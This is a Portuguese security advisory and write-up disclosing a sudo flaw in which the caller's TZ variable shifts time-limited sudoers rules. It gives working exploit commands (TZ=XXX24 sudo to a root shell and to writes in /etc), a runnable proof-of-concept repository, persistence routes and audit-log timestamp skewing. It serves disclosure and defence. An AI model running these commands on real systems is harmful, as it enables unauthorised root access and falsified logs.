⏰ SudoTimeWarp: a variável TZ do chamador decide NOTBEFORE/NOTAFTER no sudo

Um Date_Spec escrito sem o sufixo Z é convertido por mktime(), que relê getenv("TZ") a cada chamada. Num binário setuid-root esse ambiente é o do chamador não privilegiado. A correção publicada em março de 2026 para esse mesmo problema é incompleta: protege o cache de fuso da glibc e não alcança o caminho da decisão de autorização.

TL;DR

SudoTimeWarp é a CVE-2026-96512. Regras do sudoers com NOTBEFORE=/NOTAFTER= cujo timestamp omite o Z final são interpretadas como hora local e convertidas por mktime(). A mktime() da glibc relê getenv("TZ") a cada chamada. Como o sudo é setuid-root e o environ atravessa o execve() intacto, o chamador não privilegiado define o fuso em que a janela de validade dele é avaliada, deslocando-a em até 24 h 59 m 59 s em cada sentido (intervalo total de 49 h 59 m 58 s). O commit db669167c, de março de 2026, foi escrito para esse problema e corrige o caminho localtime_r() — os timestamps de log. Não corrige o mktime() de gentime.c:156, que é onde a decisão de autorização é tomada. A CVE-2026-96512 registra exatamente essa correção incompleta: numa árvore que já contém o db669167c, o deslocamento da janela continua integralmente reproduzível. Corrigido em 1820a349 (2026-08-29); na data desta publicação, nenhuma release do sudo contém essa correção.

Aviso Legal

Material educacional e defensivo. Não há embargo: a correção é pública desde 2026-08-29, a CVE desde 2026-09-23 e o anúncio na oss-security saiu em 2026-09-24. A reprodução descrita abaixo deve ser feita apenas em contêiner ou VM descartável, em sistemas próprios ou com autorização escrita.

Ficha técnica — CVE-2026-96512

Nome: SudoTimeWarp.  ·  CNA: Red Hat, atuando como CNA-LR (CNA of last resort); o projeto sudo não tem CNA própria.  ·  CWE: CWE-863 (Incorrect Authorization) no registro oficial; o mecanismo é CWE-807 (Reliance on Untrusted Inputs in a Security Decision).  ·  CVSS v3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — 7.8 High.  ·  Afetado: sudo 1.8.20 até 1.9.17p2, e main antes de 1820a349.  ·  Introduzido em: e5dee1557.  ·  Publicação: 2026-09-23.  ·  Crédito: este autor, como Ermenson Junior; pesquisa independente.

Reprodução mínima

O ambiente é uma instalação Debian com configuração padrão: env_reset no default, PAM ativo, secure_path default, /etc/sudoers em root:root 0440 e visudo -c limpo. O fuso do sistema está fixado em UTC como controle do experimento. A política concede um comando ao usuário poc dentro de uma janela que fechou 24 horas antes:

poc ALL=(ALL) NOTBEFORE=20260826221116 NOTAFTER=20260826231116 /usr/bin/id

Nas duas invocações abaixo a senha é exigida e fornecida corretamente, a regra está expirada e o comando é o mesmo. A única diferença está em uma variável de ambiente do processo do chamador:

$ sudo /usr/bin/id
[sudo] password for poc:
Sorry, user poc is not allowed to execute '/usr/bin/id' as root.

$ TZ=XXX24 sudo /usr/bin/id
[sudo] password for poc:
uid=0(root) gid=0(root) groups=0(root)

XXX é uma abreviação de fuso de três letras arbitrária e 24 é um offset POSIX. Nenhum arquivo está envolvido e nenhum precisa existir. Não há condição de corrida nem repetição: uma invocação, determinística. Com senha incorreta a segunda forma falha na autenticação, o que delimita o alcance — o que se desloca é a decisão de autorização, não a de autenticação.

poc@sudo-lab — CVE-2026-96512
1
Usuário local sem privilégio define TZ=XXX24 no próprio ambiente
① execve() — o environ atravessa a fronteira setuid
2
sudo (setuid root) euid=0, com o environ do chamador intacto
② parse da política — Date_Spec sem Z toma o ramo de hora local
3
glibc mktime() relê getenv("TZ") a cada chamada
now — relógio do sistema 2026-08-27 22:11 UTC
cs->notafter — fuso definido pelo chamador 2026-08-27 23:11 +24
③ lookup.c:269 — comparação entre os dois valores
4
Regra expirada reativada uid=0(root), dentro do limite de 24 h 59 m 59 s
[1] $ sudo /usr/bin/id → Sorry, user poc is not allowed to execute '/usr/bin/id'
[2] $ TZ=XXX24 sudo /usr/bin/id → [sudo] password for poc: ***
[3] gentime.c:156 mktime() → getenv("TZ") = "XXX24" → notafter += 86400s
[4] uid=0(root) gid=0(root) groups=0(root)

now vem do relógio do sistema. cs->notafter vem do mktime() e está expresso no fuso que o chamador definiu. A comparação em lookup.c:269 ocorre entre duas referências de tempo distintas.

Reprodução publicada

Os scripts usados acima estão publicados, com os controles que separam o bug de um erro de parse. O poc.sh valida esses controles antes de emitir veredicto e sai com 0 quando a máquina está afetada, 1 quando não está e 2 quando o próprio setup não se sustenta — de modo que um falso positivo não passa por confirmação.

git clone https://github.com/Ermensonx/sudotimewarp-cve-2026-96512-
cd sudotimewarp-cve-2026-96512-
docker build -t sudotimewarp . && docker run --rm -it sudotimewarp

A imagem instala o pacote sudo da própria distribuição e não compila nada, o que mantém o resultado independente de um build local. O repositório traz também a versão em duas partes — repro-admin.sh, que só faz o que um administrador legitimamente faz, e repro-attacker.sh, que roda como usuário sem privilégio —, além dos cenários de controle valid e expired-z.

Os três scripts reescrevem o /etc/sudoers. Eles fazem backup e restauram, e recusam rodar fora de um contêiner sem --i-know, mas a execução deve ser feita em contêiner ou VM descartável.

Date_Spec: a limitação temporal do sudoers

O Date_Spec é o único mecanismo do sudoers para limitar uma concessão no tempo. Foi introduzido pelo commit e5dee1557, com primeira release em 1.8.20 (2017), e é escrito como NOTBEFORE= e NOTAFTER= dentro da regra. Os usos típicos são três:

  • Janela de manutenção: acesso amplo durante um intervalo definido, que deve caducar sozinho quando a janela fecha.
  • Acesso emergencial (break-glass): concessão temporária durante um incidente, sem depender de remoção manual posterior.
  • Terceiro ou plantão agendado: acesso durante a vigência de um contrato ou de um turno. O NOTBEFORE abre e o NOTAFTER fecha.

Nos três casos a regra é escrita para restringir. A pré-condição da vulnerabilidade, portanto, não é uma configuração afrouxada: é uma restrição adicional que o administrador aplicou. Quem nunca usou Date_Spec não é afetado.

A forma sem sufixo é documentada e testada

O timestamp admite duas formas. Com sufixo Z ou com offset explícito, é UTC e o código toma um caminho independente de fuso. Sem nenhum dos dois, é hora local. O manual do sudoers registra essa segunda forma como extensão suportada:

"As an extension, if no 'Z' or timezone offset is specified, local time will be used."

— docs/sudoers.man.in:1811, conferido no pin 2e18923c2

O valor 20151201235900, sem Z, é um dos quatro exemplos de valid time stamps impressos pelo próprio manual (linha 1820). A mesma forma aparece no corpus de regressão do projeto, em plugins/sudoers/regress/testsudoers/test13.sh:

user1 ALL = NOTBEFORE=20151201235900 /usr/bin/id

A sintaxe afetada é documentada, exemplificada no manual e coberta por teste de regressão. Configurações escritas a partir da documentação usam a forma vulnerável por padrão.

Mecanismo: parse_gentime() e o ramo de hora local

A conversão ocorre em parse_gentime(), em plugins/sudoers/gentime.c. A função transforma os dígitos do Date_Spec em um time_t e tem uma única bifurcação:

/* plugins/sudoers/gentime.c */

138:    islocal = true;          /* sem 'Z' e sem offset explícito */
...
155:    if (islocal) {
156:        result = mktime(&tm);        /* a glibc relê getenv("TZ") aqui */
157:    } else {
158:        result = timegm(&tm);        /* independente de fuso */
159:    }
/* plugins/sudoers/gentime.c */

138:    islocal = true;          /* no 'Z' and no explicit offset */
...
155:    if (islocal) {
156:        result = mktime(&tm);        /* glibc re-reads getenv("TZ") here */
157:    } else {
158:        result = timegm(&tm);        /* time-zone independent */
159:    }

A mktime() da glibc resolve o fuso local chamando __tzset(), que executa tzset_internal(always=1). O argumento always=1 é o que separa os dois caminhos: com ele a glibc relê getenv("TZ") a cada chamada, em vez de aceitar o fuso já instalado no cache. O POSIX exige que mktime() se comporte como se tivesse chamado tzset(), de modo que o comportamento não é específico da glibc; foi confirmado também na musl.

O sudo é instalado com modo 04755 (src/Makefile.in:280). No execve(), o environ do chamador atravessa a fronteira de privilégio sem alteração, e o plugin sudoers.so roda no mesmo processo com euid 0. O valor produzido por mktime(), já deslocado, é gravado em cs->notbefore/cs->notafter e consumido pela decisão de autorização:

/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), caminho de autorização */

if (cs->notbefore != UNSPEC)
    date_match = now <  cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
    date_match = now >  cs->notafter  ? DENY : ALLOW;
/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), authorization path */

if (cs->notbefore != UNSPEC)
    date_match = now <  cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
    date_match = now >  cs->notafter  ? DENY : ALLOW;

now é o instante real do sistema; cs->notafter está expresso no fuso escolhido pelo chamador. O operando da direita é controlável a partir do ambiente de um processo não privilegiado.

Delimitação: o ramo timegm()

Com o Z documentado no mesmo timestamp, o código toma o ramo timegm() da linha 158 e o deslocamento é zero. Definir TZ também não é, por si, a causa: TZ=UTC produz a mesma decisão que nenhum TZ. O problema está restrito à extensão de hora local sem sufixo.

parse_gentime() — bifurcação de gentime.c:138
Timestamp na regra do sudoers NOTAFTER=20260826231116
gentime.c:138 — há Z ou offset explícito?
Sim → timegm() gentime.c:158 — UTC, independente de fuso. Não afetado.
Não → mktime() gentime.c:156 — lê getenv("TZ"). Afetado.

Segundo consumidor: sudoers_lookup_pseudo()

A mesma comparação aparece em lookup.c:126-130, dentro de sudoers_lookup_pseudo(), que atende sudo -l e sudo -v. Ambos os caminhos leem cs->notbefore/cs->notafter já convertidos por parse_gentime(), então o deslocamento é aplicado antes de qualquer um deles. Com TZ definido, sudo -l lista uma regra expirada como vigente. Esse comportamento também informa ao chamador o prazo exato da janela.

A correção anterior: db669167c (2026-03-14)

Em 14 de março de 2026 o upstream aplicou o commit db669167c, "sudo: ignore user-specified TZ environment variable". A mensagem cita "the parsing of NOTBEFORE/NOTAFTER values in sudoers" como motivo. O reporte que originou o commit foi feito privadamente ao mantenedor e está creditado nominalmente:

CRÉDITO DO REPORTE ORIGINAL
XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine
Guannan Wang, Zhanpeng Liu, Guancheng Li
A questão de base — TZ influencia NOTBEFORE/NOTAFTER — é atribuída a eles.

O commit acrescenta uma função em src/sudo.c:

/* src/sudo.c:345 — introduzido por db669167c */

static void
set_time_zone(void)
{
    extern char **environ;
    char **real_environ = environ;
    char *empty[] = { NULL };

    environ = empty;
    (void) tzset();          /* TZ oculto para esta chamada */
    environ = real_environ;  /* environ restaurado em seguida */
}
/* src/sudo.c:345 — introduced by db669167c */

static void
set_time_zone(void)
{
    extern char **environ;
    char **real_environ = environ;
    char *empty[] = { NULL };

    environ = empty;
    (void) tzset();          /* TZ hidden for this call */
    environ = real_environ;  /* environ restored right after */
}

Com o environ vazio, o tzset() instala o fuso do sistema no cache interno da glibc; o environ é restaurado na linha seguinte. O commit não recebeu CVE, advisory nem entrada em NEWS, e não aparece em nenhuma lista pública do projeto: a varredura dos arquivos de sudo-workers, sudo-users e sudo-announce (644 arquivos) não retorna ocorrências de TZ em 2025 ou 2026.

Por que db669167c não alcança o mktime()

A causa está na diferença entre dois caminhos da glibc:

Chamada Caminho na glibc Relê getenv("TZ")?
mktime()
gentime.c:156 — decisão de política
__tzset() → tzset_internal(always=1) Sim, a cada chamada
localtime_r()
timestr.c:36 — timestamps de log
__tz_convert() → tzset_internal(0) Não, usa o fuso em cache

O set_time_zone() atua sobre o cache. Consumidores que leem o cache ficam protegidos; consumidores que releem o ambiente, não. O localtime_r() do caminho de log lê o cache; o mktime() da decisão de política relê o ambiente. O resultado é que o commit protege os timestamps de log e não altera o comportamento da autorização.

Há um segundo efeito, e é ele que torna a proteção estruturalmente frágil: ao reler o ambiente, o mktime() não apenas consulta o TZ do chamador — ele reinstala esse fuso no cache da glibc. O valor que o set_time_zone() havia gravado ali é sobrescrito na primeira conversão de um Date_Spec sem sufixo.

A ordem dos eventos em uma invocação afetada:

  • 1. src/sudo.c:165 — o set_time_zone() roda com o environ esvaziado e grava o fuso do sistema no cache da glibc.
  • 2. O environ do chamador é restaurado na linha seguinte, com o TZ dele intacto.
  • 3. O parse da política alcança gentime.c:156. O mktime() relê getenv("TZ"), obtém o valor do chamador e o reinstala no cache, sobrescrevendo o que o passo 1 havia gravado.
  • 4. lookup.c:269 compara o now real com um cs->notafter já deslocado. A decisão de autorização sai incorreta.
  • 5. Os localtime_r() posteriores, em timestr.c:36, leem o cache agora sobrescrito: o timestamp de log desloca junto.

O passo 5 é a razão pela qual a proteção do caminho de log, que o db669167c entrega de fato, deixa de valer assim que existe na política uma regra Date_Spec sem fuso. Sem essa regra, o passo 3 não ocorre e o cache permanece com o fuso do sistema.

O que db669167c corrige

O efeito do commit é verificável isoladamente, com uma sonda que usa apenas a libc, sem código do sudo (glibc 2.41):

TZ=XXX-24, bare tzset():        localtime_r -> 2020-01-02 00:00:00 +2400  timezone=-86400
TZ=XXX-24, set_time_zone():     localtime_r -> 2020-01-01 00:00:00 +0000  timezone=0

O mesmo se observa no sudo real, nos dois pins: sob TZ=XXX-24, o v1.9.17p2 registra um evento de 27 de agosto como Aug 28, enquanto o main registra Aug 27. O commit é, portanto, uma correção efetiva para o caminho de log. A afirmação que se sustenta é mais estreita: ele não protege, e estruturalmente não pode proteger, o mktime() de gentime.c:156.

Contra-exemplo: sudo_ldap_timefilter()

O equivalente para políticas em LDAP usa UTC explícito. O sudo_ldap_timefilter(), que monta o filtro sudoNotBefore/sudoNotAfter, é independente de fuso:

/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */

gmtime_r(&now, &gmt);                                  /* UTC, não hora local */
strftime(timebuffer, sizeof(timebuffer),
         "%Y%m%d%H%M%S.0Z", &gmt);                     /* 'Z' explícito       */
/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */

gmtime_r(&now, &gmt);                                  /* UTC, not local time */
strftime(timebuffer, sizeof(timebuffer),
         "%Y%m%d%H%M%S.0Z", &gmt);                     /* explicit 'Z'       */

É a mesma escolha do ramo timegm() em gentime.c:158. A exposição está restrita ao ramo de hora local.

Limite da sanitização de ambiente do sudo

O sudo neutraliza variáveis de ambiente com sudo_unsetenv() sobre uma cópia privada (env.c:531), somada à interposição dos símbolos getenv/setenv/unsetenv (src/env_hooks.c), de modo que bibliotecas ligadas ao processo — libldap em ldap.c:1256 e :1612, libkrb5 via auth/pam.c:323 — leiam a cópia do sudo.

O mecanismo funciona para bibliotecas externas e não alcança um consumidor interno da libc: a glibc resolve getenv internamente e não passa pelo símbolo interposto. É por isso que db669167c precisou manipular o ponteiro environ em vez de usar os hooks, e é por isso que manipulá-lo em torno de uma única chamada não cobre o mktime().

Em um processo setuid, qualquer função da libc que releia o ambiente a cada chamada constitui um canal de entrada que a interposição de símbolos não cobre. A distinção relevante em revisão de código é se a função consulta um cache ou relê o ambiente.

Medições

O procedimento busca o timestamp do sudoers em que a decisão inverte e re-amostra now imediatamente antes de cada sonda, de modo que a deriva de relógio fique limitada a uma invocação. O piso de ruído medido é de ±1 s.

Deslocamento por valor de TZ

Host com fuso de sistema em UTC.

Deslocamento da janela de validade, em segundos, por valor de TZ. Valores positivos empurram o NOTAFTER para o futuro; negativos puxam o NOTBEFORE para o passado.

TZ Deslocamento (s) Em horas Observação
XXX1 +3 600 +1 h
XXX12 +43 200 +12 h
XXX24 +86 400 +24 h
XXX25, XXX26, XXX48 +86 400 +24 h A glibc trava o campo de hora em 24
XXX24:59:59 +89 999 +24 h 59 m 59 s Máximo para frente
XXX24:59:59YYY25:59:59,J1,J365 +89 999 +24 h 59 m 59 s Regra de DST não altera o limite
EST5EDT +14 400 +4 h Nomes da tzdb também são aceitos
XXX-24 −86 400 −24 h
XXX-24:59:59 −89 999 −24 h 59 m 59 s Máximo para trás
:…/Pacific/Kiritimati −50 400 −14 h Arquivo do sistema; carrega normalmente

Intervalo total controlável: 179 998 s, ou 49 h 59 m 58 s. O NOTBEFORE se desloca simetricamente. O campo de minutos e segundos do offset POSIX também opera no sentido negativo, o que leva o máximo para trás de −86 400 s para −89 999 s.

Comparação entre as duas árvores

Mesma bateria, mesmo host e mesma configuração; a única variável é a árvore de código. De um lado, main no pin 2e18923c2, que contém o db669167c. Do outro, v1.9.17p2 no pin d1b48c651, que não contém.

Deslocamento medido nas duas árvores, por valor de TZ. Os valores coincidem em todas as linhas.

TZ main @ 2e18923c2 (com db669167c) v1.9.17p2 @ d1b48c651
XXX1 +3 600 +3 600
XXX12 +43 200 +43 200
XXX24 +86 400 +86 400
XXX24:59:59 +89 999 +89 999
XXX-24:59:59 −89 999 −89 999
:…/Pacific/Kiritimati −50 400 −50 400

Os valores são iguais, não apenas próximos. O resultado se repete em quatro binários produzidos de forma independente: main @ 2e18923c2, v1.9.17p2 @ d1b48c651, o pacote sudo 1.9.16p2 do Debian trixie — com a linha de configure da distribuição, sem recompilação — e um build musl no Alpine 3.21. Há confirmação cruzada adicional no Ubuntu 26.04 com glibc 2.43.

A presença do db669167c no binário foi verificada por objdump -d, não apenas no código-fonte. Na imagem do main, a troca de environ aparece inlinada em main(): mov __environ,%r14 / mov %rax,__environ / call tzset@plt / mov %r14,__environ. No v1.9.17p2 e no pacote Debian há apenas call tzset@plt, sem a troca.

Controles C1–C6

Um erro de parse produziria o mesmo ALLOW. Os controles abaixo isolam a causa:

# Condição Esperado Observado
C1 NOTAFTER futuro, sem TZ ALLOW ALLOW — a regra é funcional
C2 NOTAFTER expirado, sem TZ DENY DENY — a negação vem do NOTAFTER
C3 NOTAFTER expirado, TZ=UTC DENY DENY — definir TZ não é a causa
C4 NOTAFTER expirado, TZ=XXX24 DENY (comportamento esperado após o db669167c) ALLOW — executou como root
C5 NOTAFTER expirado, com Z DENY DENY — o ramo timegm() não é afetado
C6 NOTBEFORE futuro, TZ=XXX-24 DENY ALLOW — caso espelhado

C5 delimita o escopo: com o Z documentado, o código toma o ramo timegm() em gentime.c:158 e o deslocamento desaparece. C3 exclui a hipótese de que a simples presença de TZ no ambiente altere a decisão.

Resultado negativo: a forma de arquivo

A variável TZ já originou uma CVE no sudo, a CVE-2014-9680, em que TZ podia nomear um arquivo arbitrário. Foi corrigida no sudo 1.8.12 pela inclusão de TZ no initial_checkenv_table[] (plugins/sudoers/env.c:212), que filtra % e / antes de repassar a variável ao comando executado. As duas situações são distintas, e a distinção é medida:

Forma Deslocamento Resultado
TZ=:/usr/share/zoneinfo/Pacific/Kiritimati −50 400 s Carregado; é arquivo do sistema
TZ=:/tmp/evil.tz 0 Recusado
TZ=:/home/poc/tz/evil.tz 0 Recusado
TZDIR=/home/poc/tz TZ=:evil.tz 0 Recusado
TZDIR=/home/poc/tz TZ=evil.tz 0 Recusado

As quatro formas recusadas carregam normalmente para o mesmo usuário em um processo não setuid, retornando +1400 cada uma, o que indica que o bloqueio vem do guard __libc_enable_secure da glibc e não do fixture. O canal explorável é apenas a string POSIX inline, que não depende de arquivo nem de acesso ao filesystem. A correção de 2014 permanece válida e não cobre este caminho, que atinge a decisão de política do próprio sudo antes de qualquer comando existir.

Escopo por host

Regras restritas a um hostname não alteram o comportamento. Com a regra limitada a sudo-lab.corp.example e sem NOPASSWD — autenticação por PAM com senha correta —, uma janela NOTAFTER fechada há uma hora executa como root com TZ=XXX4:05. As formas de host testadas (FQDN, forma curta, endereço IP, CIDR e ALL) resultam em ALLOW; apenas um hostname inexistente nega, o que confirma que o match de host está ativo. Ele é avaliado antes da verificação de data (lookup.c:269) e determina se a janela é consultada, não como ela é interpretada.

Dependência do fuso do sistema

As medições anteriores fixam o /etc/localtime do host em UTC, o que faz o offset do chamador coincidir com o deslocamento obtido. Em um host com outro fuso os dois não coincidem. A relação é:

deslocamento = off_oeste(TZ do chamador) - off_oeste(fuso do sistema NO INSTANTE que os digitos denotam)

Como a glibc trava o campo de hora em 24, o intervalo alcançável é [ -89 999 - off_sys , +89 999 - off_sys ]. A amplitude é constante em 49 h 59 m 58 s; o fuso do sistema define apenas a posição desse intervalo.

Intervalo alcançável em horas, por fuso do host. A amplitude é a mesma nos dois casos; o ponto inicial muda.

Host UTC Host America/Sao_Paulo (UTC−3)
Máximo para frente (contra NOTAFTER) +24 h 59 m 59 s +21 h 59 m 59 s
Máximo para trás (contra NOTBEFORE) −24 h 59 m 59 s −27 h 59 m 59 s

As duas linhas foram medidas sem deriva: valor pedido −100 799 s, valor obtido −100 799 s, resíduo 0 s.

Consequência por região

Em hosts a oeste de UTC, o alcance para trás contra o NOTBEFORE passa de 24 h. Uma janela que abre daqui a 24 horas é alcançável no momento presente com TZ=XXX-24:59:59. Hosts a leste de UTC obtêm o mesmo acréscimo no sentido oposto, contra o NOTAFTER. Um laboratório fixado em UTC não expõe esse caso, porque nele o alcance para trás é exatamente 24 h 59 m 59 s.

O off_sys precisa ser avaliado no instante que os dígitos denotam, não em now. Em zonas com horário de verão os dois valores diferem em 3 600 s sempre que a janela cai do outro lado da transição, o que é da mesma ordem de grandeza de uma janela curta de manutenção. Verificado contra Europe/Berlin: uma janela de fevereiro avaliada em setembro resulta em −3 600 s em vez de −7 200 s a oeste.

Composição do primitivo

O primitivo é a reativação de uma regra do sudoers fora da janela de validade pretendida, acionada por uma variável de ambiente definida na invocação. Ele não cria privilégio: restaura uma concessão que já existia. O teto de impacto é, portanto, o valor dessa concessão.

O que a regra reativada concede Resultado para o chamador
(ALL) ALL Comando arbitrário como root; nenhum salto adicional é necessário
Binário com escape de shell (vi, less, find, awk, tar, python, systemctl, apt) Shell root pelo escape do próprio binário, sem envolver o sudo
sudoedit Escrita mediada por root no arquivo concedido
Comando não escapável (id, uptime) Apenas aquele comando como root. A composição termina aqui

Hop 1 — regra ampla expirada sobre concessão estreita permanente

É a configuração que motiva o uso do NOTAFTER: concessão ampla por uma janela (manutenção, break-glass, terceiro, plantão), com uma concessão estreita permanente por baixo. O sudoers resolve por último-match-vence, então a regra datada e ampla é escrita depois da estreita:

poc ALL=(ALL) NOPASSWD: /usr/bin/id                    # permanente, estreita
poc ALL=(ALL) NOTAFTER=<1 h atras> NOPASSWD: ALL       # ampla, expirada

Com os controles executados antes, para que o DENY tenha significado:

=== controles — a regra ampla expirada deve estar inerte ===
  ok    C1 no TZ  /usr/bin/id              ALLOW      a concessao permanente funciona
  ok    C2 no TZ  /bin/sh                  DENY       a regra expirada esta inerte
  ok    C3 no TZ  /usr/bin/tee             DENY       segunda testemunha

=== A1 ===
  $ TZ=XXX24 sudo -n /bin/sh -c 'id -u'
      0
      uid=0 euid=0                                    -> ALLOW

=== A2 — root efetivo, nao apenas uid reportado ===
  $ TZ=XXX24 sudo -n /usr/bin/tee /etc/chain-proof
      created: root:root 644  PROOF-1787871254         -> ALLOW
hop 1 — regra ampla expirada sobre concessão estreita
Concessão permanente NOPASSWD: /usr/bin/id
Regra ampla, expirada NOTAFTER=<-1h> NOPASSWD: ALL
último-match-vence: a regra datada é a que decide
TZ=XXX24 sudo -n /bin/sh -c 'id -u' uma variável de ambiente; sem arquivo, sem corrida, sem compilação
Comando arbitrário como root rotas de persistência: /etc/sudoers, /etc/cron.d, /etc/ld.so.preload, chave autorizada para root

Um usuário cuja concessão permanente é /usr/bin/id alcança execução arbitrária como root e escrita de arquivo root:root em /etc com uma variável de ambiente. A composição encerra no primeiro salto.

Hop 2 — deslocamento do timestamp de log

O plugins/sudoers/timestr.c:36 registra via localtime_r(). No v1.9.17p2 o TZ do chamador desloca a hora registrada de forma incondicional. No main, o db669167c protege esse caminho até que exista na política uma regra Date_Spec sem fuso: o mktime() dessa regra reescreve o cache de fuso da glibc e o log volta a deslocar.

v1.9.17p2 (sem a correcao)   Aug 28 22:28:41 : poc : ... COMMAND=/usr/bin/true   <- +24 h
main @ 2e18923c2 (com ela)   Aug 27 22:28:41 : poc : ... COMMAND=/usr/bin/true   <- correto

main @ 2e18923c2, TZ=XXX24, sistema Aug 27 22:28:59  ->  logado Aug 26 22:28:59

A mesma variável concede o acesso e desloca a data do registro correspondente, em até ~25 horas, sob a mesma pré-condição. O registro de auditoria fica incorreto exatamente no intervalo em que o evento ocorreu.

Hop 3 — cache de credenciais: refutado

O sudo grava um registro de timestamp após autenticação bem-sucedida. Se esse registro curto-circuitasse a autorização além da autenticação, uma passagem pelo bug daria acesso continuado à regra expirada sem TZ. A bateria abaixo roda sob timestamp_type=global, o tipo de ticket mais permissivo, de modo que um resultado negativo vale também para o default vinculado ao tty:

T1 regra valida, senha correta                 ALLOW      ticket estabelecido
T2 regra valida, so o ticket (-n)              ALLOW      o ticket funciona
T3 regra EXPIRADA, ticket fresco, sem TZ       DENY   <-- hipotese refutada
T4 regra EXPIRADA, TZ=XXX24 + senha            ALLOW      o bug ainda dispara
T5 regra expirada ha 4 DIAS, TZ=XXX24          DENY
T5 regra expirada ha 4 DIAS, TZ=XXX24:59:59    DENY   <-- limite de ~25 h confirmado

T3 mostra que o ticket armazena apenas o resultado da autenticação. O date_match é recomputado em sudoers_lookup_check() a cada invocação, de modo que uma regra expirada permanece expirada independentemente do estado do cache. T5 confirma o limite: quatro dias após o vencimento, os dois valores máximos de TZ negam.

O limite de ~25 h aplica-se à janela de acesso, não à duração do impacto. O hop 1 entrega execução arbitrária como root, o que é suficiente para estabelecer persistência independente da janela.

Saltos não reproduzidos

  • Alcançar regra concedida a outro usuário. O deslocamento é aplicado em parse_gentime() a todo Date_Spec da política, mas a regra ainda precisa casar usuário, host, runas e comando. O TZ altera quando uma regra é válida, não para quem ela vale.
  • Escalar concessão estreita não escapável. Se a única regra datada concede /usr/bin/uptime, o resultado é uptime como root. Este é o limite de severidade do achado.
  • Antecipar revogação agendada (NOTBEFORE em regra de negação): alcançável, mas remove o acesso do próprio chamador.
  • Forma de arquivo como primitivo de leitura: recusada pelo __libc_enable_secure, com deslocamento medido de 0 s.

Limites, severidade e vetor CVSS

DELIMITAÇÃO DO ALCANCE
Não é bypass de autenticação. O PAM continua exigindo e validando a senha; com senha incorreta o ataque falha na autenticação.
Não é escalada a partir de nenhum privilégio. Um usuário sem regra em sudoers não obtém nada, porque o bug restaura uma concessão existente. Daí PR:L e não PR:N.
Não é ilimitado no tempo. O deslocamento é de até 24 h 59 m 59 s por sentido, com intervalo total de 49 h 59 m 58 s. Uma regra expirada há semanas não é alcançável.
Requer pré-condição: regra Date_Spec pré-existente, concedida ao chamador, com timestamp sem Z e sem offset explícito.

Vetor CVSS

O vetor abaixo foi proposto no pedido de CVE e adotado pela Red Hat sem alteração.

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H   (7.8 High)

AV:L  requer shell no host; o sudo nao e alcancavel pela rede
AC:L  sem corrida e sem repeticao, deterministico em uma invocacao. O `sudo -l` imprime o
      Date_Spec ao chamador, que le o prazo exato na propria politica.
PR:L  conta local COM entrada em sudoers; usuario comum, nao administrador.
UI:N  nenhuma acao de outro usuario esta envolvida
S:U   o impacto e root no mesmo host, dentro da autoridade de seguranca do proprio SO.
      O sudo e o componente que arbitra essa fronteira, entao subverte-lo nao alcanca uma
      segunda autoridade. Consistente com a CVE-2021-3156, pontuada 7.8 com S:U.
C:H   demonstrado: comando arbitrario como root (hop 1)
I:H   demonstrado: arquivo root:root escrito em /etc por chamador sem privilegio
A:H   o mesmo primitivo alcanca qualquer caminho gravavel por root

Sobre a classificação: não é CWE-20, porque a entrada não é malformada — XXX24 é uma string POSIX de TZ bem formada, analisada corretamente e depois honrada. Também não é CWE-862, porque a verificação de autorização está presente e é apenas avaliada contra uma referência de tempo incorreta. O registro oficial usa CWE-863 (Incorrect Authorization); o mecanismo corresponde a CWE-807 (Reliance on Untrusted Inputs in a Security Decision).

Variação da severidade conforme a configuração

O vetor 7.8 pontua a configuração em que a regra datada é mais ampla que a concessão permanente do usuário. Duas leituras alternativas são defensáveis:

Leitura Nota Base
AC:H em vez de AC:L: a janela de ~25 h como condição fora do controle do chamador 7.0 Leitura defensável. O AC:L foi adotado porque o sudo -l expõe o prazo ao chamador.
Regra datada estreita e não escapável ≈ 3.3 O impacto reduz-se a C:L/I:N/A:N. É o limite inferior do achado.
PR:H — Não se aplica: a exploração parte de um usuário comum com uma linha em sudoers.

Enunciado do impacto: o único mecanismo que o sudoers oferece para limitar uma concessão no tempo pode ser neutralizado pelo usuário que ele restringe. Quando a concessão temporária é mais ampla que o acesso permanente do usuário, o resultado é escalada local a execução arbitrária como root, demonstrada. Quando a concessão datada é estreita e não escapável, o impacto fica limitado a ela.

Cronologia da divulgação

2017 — e5dee1557

Suporte a Date_Spec, com release em 1.8.20. O ramo islocal → mktime() existe desde então.

até 2026-03 — reporte de terceiros

XlabAI Team / Tencent Xuanwu Lab e Atuin (Guannan Wang, Zhanpeng Liu, Guancheng Li) reportam privadamente que TZ influencia NOTBEFORE/NOTAFTER.

2026-03-14 — db669167c

"sudo: ignore user-specified TZ environment variable". Cita NOTBEFORE/NOTAFTER e credita os reporters. Sem CVE, advisory ou entrada em NEWS. Corrige o caminho localtime_r().

2026-08-28 — reporte

Reportei ao mantenedor, com os dois scripts de reprodução em anexo, sem CC, sem issue pública e sem prazo.

2026-08-28 — patch candidato

Resposta no mesmo dia com 3df938eb2, "Remove TZ from sudo's working environment without modifying envp". A mensagem registra que a mudança anterior "was not effective since the mktime() function re-reads the TZ environment variable each time it is called".

2026-08-29 — 1820a349

O candidato passa pela mesma bateria (regressão, TZ duplicado, caminho de log, envp vazio, tempo de vida do GC). No mesmo dia o commit público 1820a349 entra em src/sudo.c, com +24/−7, idêntico ao medido.

2026-08-31 — re-medição

Re-medi contra o main corrigido: deslocamento de 0 s em todas as TZ testadas e sete classes de bypass em DENY.

2026-09-21 — pedido de CVE

Encaminhei o pedido à Red Hat Product Security. A Red Hat é CNA-LR e Root no programa CVE, e o projeto sudo não tem CNA própria.

2026-09-23 / 24 — publicação

CVE-2026-96512 publicada, CNA Red Hat, com o vetor CVSS adotado sem alteração. No dia seguinte: post na oss-security, RHSA-2026:71609 (apenas Red Hat Hardened Images) e PR #566451 do NixOS mergeado.

